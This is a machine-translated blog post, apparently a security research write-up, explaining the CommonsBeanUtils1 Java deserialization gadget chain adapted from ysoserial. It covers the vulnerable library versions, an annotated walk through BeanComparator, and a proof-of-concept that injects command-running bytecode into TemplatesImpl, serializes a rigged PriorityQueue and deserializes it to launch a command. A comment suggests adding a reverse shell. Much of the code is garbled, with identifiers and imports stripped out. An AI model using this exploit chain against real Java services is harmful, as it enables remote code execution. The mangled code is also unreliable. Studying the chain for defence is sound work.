Location>code7788 >text

CommonsBeanUtils1 (based on ysoserial)

Popularity:925 ℃/2024-11-20 14:42:05

environmental preparation

JDK1.8(8u421) JDK8 version should have no effect, here directly to my mirror prevailed, commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.2, javassist:javassist:3.12.

Add the following dependencies to mvn:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2</version>
</dependency>
<dependency>
    <groupId>javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.12.</version>
</dependency>
<!-- /artifact/commons-beanutils/commons-beanutils -->
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.1</version>
</dependency>

main body (of a book)

The CB chain uses the CC2 in theTemplatesImplof content, if you're not familiar with CC2 chains, read this first:/erosion2020/p/18553815

Once you know what constitutes an attack chain in CC2, it will be very easy for you to learn CB chaining, which can also be considered a variant of CC2 chaining, except that the point of deserialization is swapped out for thecommons-beanutilsAnother class in theBeanComparatorThe following explains how this class triggers theTemplatesImplThe.

BeanComparator

BeanComparator is a common class in Java that is often used to compare and sort Java bean objects in a collection. It implements theComparator interface, the purpose of which is to sort an object according to one or more of its properties. In some frameworks (such as Apache Commons BeanUtils or similar libraries), theBeanComparator is a common comparator implementation that simplifies comparison operations, especially when the object being compared is a Java bean.

basic role

  • Sort by specified attributes: It sorts based on the value of a property of a given Java bean. For example, if there is aPerson class, which hasname cap (a poem)age attribute, you can use theBeanComparator depending onname maybeage Performs an ascending or descending sort.
  • dexterityBeanComparator You can specify one or more attributes to be sorted, supporting more complex sorting logic. By utilizing Java reflection.BeanComparator Ability to get the value of a bean's property and compare it.

You can specify one or more attributes to be sorted, supporting more complex sorting logicThis sentence is very important, and it is the fact that the BeanComparator can be sorted by field attributes that causes the attack chain to be triggered.

code analysis

public class BeanComparator<T> implements Comparator<T>, Serializable {
    // Property field
    private String property; // Wraps a Comparator field internally.
    // Wraps a Comparator comparator internally.
    private final Comparator<? > comparator.
// Call compare to compare the values of two objects.
    public int compare(T o1, T o2) {
    ......
    // is the key method
        Object value1 = (o1, );
        Object value2 = (o2, );
        return (value1, value2);
        .......
    }
}

(Object bean, String name) {
    // Focus on this getProperty method
    return ().getProperty(bean, name);
}
// This method will be executed
public Object getProperty(Object bean, String name) {
    return (bean, name); }
}
public Object getNestedProperty(Object bean, String name) {
    ......
    if (bean instanceof Map) {
        bean = ((Map)bean, name); } else if ((name)) { if ((Map)bean, name); }
    } else if ((name)) {
        bean = (bean, name); } else if ((name)) { bean = (bean, name); } else if ((name))
    } else if ((name)) {
        bean = (bean, name); } else { if ((name))
    } else {
        // Focus on this method, which will be triggered if the bean is a TemplatesImpl object that we constructed
        bean = (bean, name); } else { // Focus on this method if the bean is a TemplatesImpl object we constructed.
    }
......
    return bean.
}
// This is the method that finally triggers the call chain code
public Object getSimpleProperty(Object bean, String name) {
    // getPropertyDescriptor can be interpreted as getting all the property fields in the bean, and if there is a getter method for that field, it will also get it.
    // Assuming the info field exists in the bean and the getInfo method, the field information in the PropertyDescriptor is as follows:
    // The name field is info
    // The readMethodName field is getOutputProperties.
    PropertyDescriptor descriptor = (bean, name);
    if (descriptor == null) {
        throw new NoSuchMethodException("Unknown property '" + name + "'' on class '" + () + "'");
    } else {
        // The Method object corresponding to readMethodName is retrieved here
        Method readMethod = ((), descriptor);
        if (readMethod == null) {
            throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + () + "'"); } else { readMethod = ((, descriptor))
        } else {
            // Execute the Method
            // If the Method here is the getOutputProperties of our carefully constructed TemplatesImpl, then our attack chain code can be triggered
            Object value = (readMethod, bean, EMPTY_OBJECT_ARRAY);
            value; return value.
        }
    }
}

So having sorted out the above, what we need to do now is to construct a TemplatesImpl object, then create a BeanComparator, set the properties in it to the outputProperties field of the TemplatesImpl, and then after triggering the BeanComparator's compare method, if thein the T of type TemplatesImpl, then it will eventually trigger the getOutputProperties method of TemplatesImpl, which then triggers the call chain of our

POC (based on ysoserial)

The old rules, this is still ysoserial code to take over the change, did not call ysoserial tools in the class, do not rely on tool libraries can be directly run local debugging.

import ;
import ;
import ;
import ;
import ;
import ;

import ;
import ;
import ;
import ;
import ;
import ;
import ;

public class CommonsBeanUtils1 {
    static String serialFileName = "";
    public static void main(String[] args) throws Exception {
// cb1bySerial();
        verify();
    }

    public static void verify() throws Exception {
        // Local Analog Deserialization
        FileInputStream fis = new FileInputStream(serialFileName);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object ignore = (Object) ();
    }

    public static void cb1bySerial() throws Exception {
        //==========================CC2Tectonics inTemplatescontent START==========================
        String executeCode = "().exec(\"cmd /c start\");";
        ClassPool pool = ();
        CtClass evil = ("");
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        ().insertAfter(executeCode);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        ("" + ());
        CtClass superC = (());
        (superC);

        final byte[] classBytes = ();
        byte[][] trueclassbyte = new byte[][]{classBytes};

        Class<TemplatesImpl> templatesClass = ;
        TemplatesImpl templates = ();
        Field bytecodes = ("_bytecodes");
        (true);
        (templates, trueclassbyte);

        Field name = ("_name");
        (true);
        (templates, "Pwnr");

        Field tfactory = ("_tfactory");
        (true);
        (templates, new TransformerFactoryImpl());
        //==========================CB1chain trigger START==========================

        // mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        // Here's how to get it to trigger the property method,This can be done in theset queuevalue without reporting an error。
        (new BigInteger("1"));
        (new BigInteger("1"));

        // switch method called by comparator
        // The corresponding property values are then reflected,This avoids triggering additional actions
        Field property = ().getDeclaredField("property");
        (true);
        (comparator, "outputProperties");

        // switch contents of queue
        // queueThe same goes for the values in,by reflectionsetvalue will not trigger theheapfiyA series of actions such as
        Field queueFiled = ().getDeclaredField("queue");
        (true);
        final Object[] queueArray = (Object[])(queue);
        queueArray[0] = templates;
        queueArray[1] = templates;

        //====================CB1chain triggerEND===================
        FileOutputStream fos = new FileOutputStream(serialFileName);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        (queue);
        ();
        ();
        ();
    }
}

(of a computer) run

Try running the code to pop a cmd

image-20241120142836006

call chain

The call chain is as follows

  • ()
    • ()
      • ()
        • ()
          • ()
          • ()
          • ()
          • ()
          • ()
          • ()
          • ()
          • ()
            • ()
            • ()
            • ()
              • ()
            • (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance()